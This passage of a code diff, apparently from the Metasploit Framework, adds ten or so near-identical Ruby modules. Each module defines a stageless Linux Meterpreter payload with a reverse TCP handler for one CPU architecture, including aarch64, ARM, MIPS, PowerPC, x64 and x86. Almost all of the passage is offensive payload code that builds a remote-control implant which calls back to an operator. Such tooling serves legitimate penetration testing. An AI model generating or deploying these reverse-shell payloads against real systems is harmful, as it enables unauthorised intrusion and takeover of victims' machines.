['javapayload', 'stage', 'Shell.class'],
]
end
end
@@ -0,0 +1,41 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'msf/core/handler/reverse_tcp'
require 'msf/base/sessions/meterpreter_options'
require 'msf/base/sessions/mettle_config'
require 'msf/base/sessions/meterpreter_aarch64_linux'
module MetasploitModule
CachedSize = 292344
include Msf::Payload::Single
include Msf::Sessions::MeterpreterOptions
include Msf::Sessions::MettleConfig
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Linux Meterpreter',
'Description' => 'Run the mettle server payload (stageless)',
'Author' => [
'Adam Cammack <adam_cammack[at]rapid7.com>'
],
'Platform' => 'linux',
'Arch' => ARCH_AARCH64,
'License' => MSF_LICENSE,
'Handler' => Msf::Handler::ReverseTcp,
'Session' => Msf::Sessions::Meterpreter_aarch64_Linux
)
)
end
def generate
MetasploitPayloads::Mettle.new('aarch64-linux-musl', generate_config).to_binary :exec
end
end
@@ -0,0 +1,41 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'msf/core/handler/reverse_tcp'
require 'msf/base/sessions/meterpreter_options'
require 'msf/base/sessions/mettle_config'
require 'msf/base/sessions/meterpreter_armbe_linux'
module MetasploitModule
CachedSize = 285000
include Msf::Payload::Single
include Msf::Sessions::MeterpreterOptions
include Msf::Sessions::MettleConfig
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Linux Meterpreter',
'Description' => 'Run the mettle server payload (stageless)',
'Author' => [
'Adam Cammack <adam_cammack[at]rapid7.com>'
],
'Platform' => 'linux',
'Arch' => ARCH_ARMBE,
'License' => MSF_LICENSE,
'Handler' => Msf::Handler::ReverseTcp,
'Session' => Msf::Sessions::Meterpreter_armbe_Linux
)
)
end
def generate
MetasploitPayloads::Mettle.new('armv5b-linux-musleabi', generate_config).to_binary :exec
end
end
@@ -0,0 +1,41 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'msf/core/handler/reverse_tcp'
require 'msf/base/sessions/meterpreter_options'
require 'msf/base/sessions/mettle_config'
require 'msf/base/sessions/meterpreter_armle_linux'
module MetasploitModule
CachedSize = 284152
include Msf::Payload::Single
include Msf::Sessions::MeterpreterOptions
include Msf::Sessions::MettleConfig
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Linux Meterpreter',
'Description' => 'Run the mettle server payload (stageless)',
'Author' => [
'Adam Cammack <adam_cammack[at]rapid7.com>'
],
'Platform' => 'linux',
'Arch' => ARCH_ARMLE,
'License' => MSF_LICENSE,
'Handler' => Msf::Handler::ReverseTcp,
'Session' => Msf::Sessions::Meterpreter_armle_Linux
)
)
end
def generate
MetasploitPayloads::Mettle.new('armv5l-linux-musleabi', generate_config).to_binary :exec
end
end
@@ -0,0 +1,41 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'msf/core/handler/reverse_tcp'
require 'msf/base/sessions/meterpreter_options'
require 'msf/base/sessions/mettle_config'
require 'msf/base/sessions/meterpreter_mips64_linux'
module MetasploitModule
CachedSize = 504960
include Msf::Payload::Single
include Msf::Sessions::MeterpreterOptions
include Msf::Sessions::MettleConfig
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Linux Meterpreter',
'Description' => 'Run the mettle server payload (stageless)',
'Author' => [
'Adam Cammack <adam_cammack[at]rapid7.com>'
],
'Platform' => 'linux',
'Arch' => ARCH_MIPS64,
'License' => MSF_LICENSE,
'Handler' => Msf::Handler::ReverseTcp,
'Session' => Msf::Sessions::Meterpreter_mips64_Linux
)
)
end
def generate
MetasploitPayloads::Mettle.new('mips64-linux-muslsf', generate_config).to_binary :exec
end
end
@@ -0,0 +1,41 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'msf/core/handler/reverse_tcp'
require 'msf/base/sessions/meterpreter_options'
require 'msf/base/sessions/mettle_config'
require 'msf/base/sessions/meterpreter_mipsbe_linux'
module MetasploitModule
CachedSize = 484668
include Msf::Payload::Single
include Msf::Sessions::MeterpreterOptions
include Msf::Sessions::MettleConfig
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Linux Meterpreter',
'Description' => 'Run the mettle server payload (stageless)',
'Author' => [
'Adam Cammack <adam_cammack[at]rapid7.com>'
],
'Platform' => 'linux',
'Arch' => ARCH_MIPSBE,
'License' => MSF_LICENSE,
'Handler' => Msf::Handler::ReverseTcp,
'Session' => Msf::Sessions::Meterpreter_mipsbe_Linux
)
)
end
def generate
MetasploitPayloads::Mettle.new('mips-linux-muslsf', generate_config).to_binary :exec
end
end
@@ -0,0 +1,41 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'msf/core/handler/reverse_tcp'
require 'msf/base/sessions/meterpreter_options'
require 'msf/base/sessions/mettle_config'
require 'msf/base/sessions/meterpreter_mipsle_linux'
module MetasploitModule
CachedSize = 484732
include Msf::Payload::Single
include Msf::Sessions::MeterpreterOptions
include Msf::Sessions::MettleConfig
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Linux Meterpreter',
'Description' => 'Run the mettle server payload (stageless)',
'Author' => [
'Adam Cammack <adam_cammack[at]rapid7.com>'
],
'Platform' => 'linux',
'Arch' => ARCH_MIPSLE,
'License' => MSF_LICENSE,
'Handler' => Msf::Handler::ReverseTcp,
'Session' => Msf::Sessions::Meterpreter_mipsle_Linux
)
)
end
def generate
MetasploitPayloads::Mettle.new('mipsel-linux-muslsf', generate_config).to_binary :exec
end
end
@@ -0,0 +1,41 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'msf/core/handler/reverse_tcp'
require 'msf/base/sessions/meterpreter_options'
require 'msf/base/sessions/mettle_config'
require 'msf/base/sessions/meterpreter_ppc_linux'
module MetasploitModule
CachedSize = 329724
include Msf::Payload::Single
include Msf::Sessions::MeterpreterOptions
include Msf::Sessions::MettleConfig
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Linux Meterpreter',
'Description' => 'Run the mettle server payload (stageless)',
'Author' => [
'Adam Cammack <adam_cammack[at]rapid7.com>'
],
'Platform' => 'linux',
'Arch' => ARCH_PPC,
'License' => MSF_LICENSE,
'Handler' => Msf::Handler::ReverseTcp,
'Session' => Msf::Sessions::Meterpreter_ppc_Linux
)
)
end
def generate
MetasploitPayloads::Mettle.new('powerpc-linux-muslsf', generate_config).to_binary :exec
end
end
@@ -0,0 +1,41 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'msf/core/handler/reverse_tcp'
require 'msf/base/sessions/meterpreter_options'
require 'msf/base/sessions/mettle_config'
require 'msf/base/sessions/meterpreter_ppc64le_linux'
module MetasploitModule
CachedSize = 396160
include Msf::Payload::Single
include Msf::Sessions::MeterpreterOptions
include Msf::Sessions::MettleConfig
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Linux Meterpreter',
'Description' => 'Run the mettle server payload (stageless)',
'Author' => [
'Adam Cammack <adam_cammack[at]rapid7.com>'
],
'Platform' => 'linux',
'Arch' => ARCH_PPC64LE,
'License' => MSF_LICENSE,
'Handler' => Msf::Handler::ReverseTcp,
'Session' => Msf::Sessions::Meterpreter_ppc64le_Linux
)
)
end
def generate
MetasploitPayloads::Mettle.new('powerpc64le-linux-musl', generate_config).to_binary :exec
end
end
@@ -0,0 +1,41 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'msf/core/handler/reverse_tcp'
require 'msf/base/sessions/meterpreter_options'
require 'msf/base/sessions/mettle_config'
require 'msf/base/sessions/meterpreter_x64_mettle_linux'
module MetasploitModule
CachedSize = 289824
include Msf::Payload::Single
include Msf::Sessions::MeterpreterOptions
include Msf::Sessions::MettleConfig
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Linux Meterpreter',
'Description' => 'Run the mettle server payload (stageless)',
'Author' => [
'Adam Cammack <adam_cammack[at]rapid7.com>'
],
'Platform' => 'linux',
'Arch' => ARCH_X64,
'License' => MSF_LICENSE,
'Handler' => Msf::Handler::ReverseTcp,
'Session' => Msf::Sessions::Meterpreter_x64_Mettle_Linux
)
)
end
def generate
MetasploitPayloads::Mettle.new('x86_64-linux-musl', generate_config).to_binary :exec
end
end
@@ -0,0 +1,41 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'msf/core/handler/reverse_tcp'
require 'msf/base/sessions/meterpreter_options'
require 'msf/base/sessions/mettle_config'
require 'msf/base/sessions/meterpreter_x86_mettle_linux'
module MetasploitModule
CachedSize = 292828
include Msf::Payload::Single
include Msf::Sessions::MeterpreterOptions
include Msf::Sessions::MettleConfig
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Linux Meterpreter',
'Description' => 'Run the mettle server payload (stageless)',
'Author' => [
'Adam Cammack <adam_cammack[at]rapid7.com>'
],
'Platform' => 'linux',
'Arch' => ARCH_X86,
'License' => MSF_LICENSE,
'Handler' => Msf::Handler::ReverseTcp,
'Session' => Msf::Sessions::Meterpreter_x86_Mettle_Linux
)
)
end
def generate
MetasploitPayloads::Mettle.new('i486-linux-musl', generate_config).to_binary :exec
end
end

Some files were not shown because too many files have changed in this diff Show More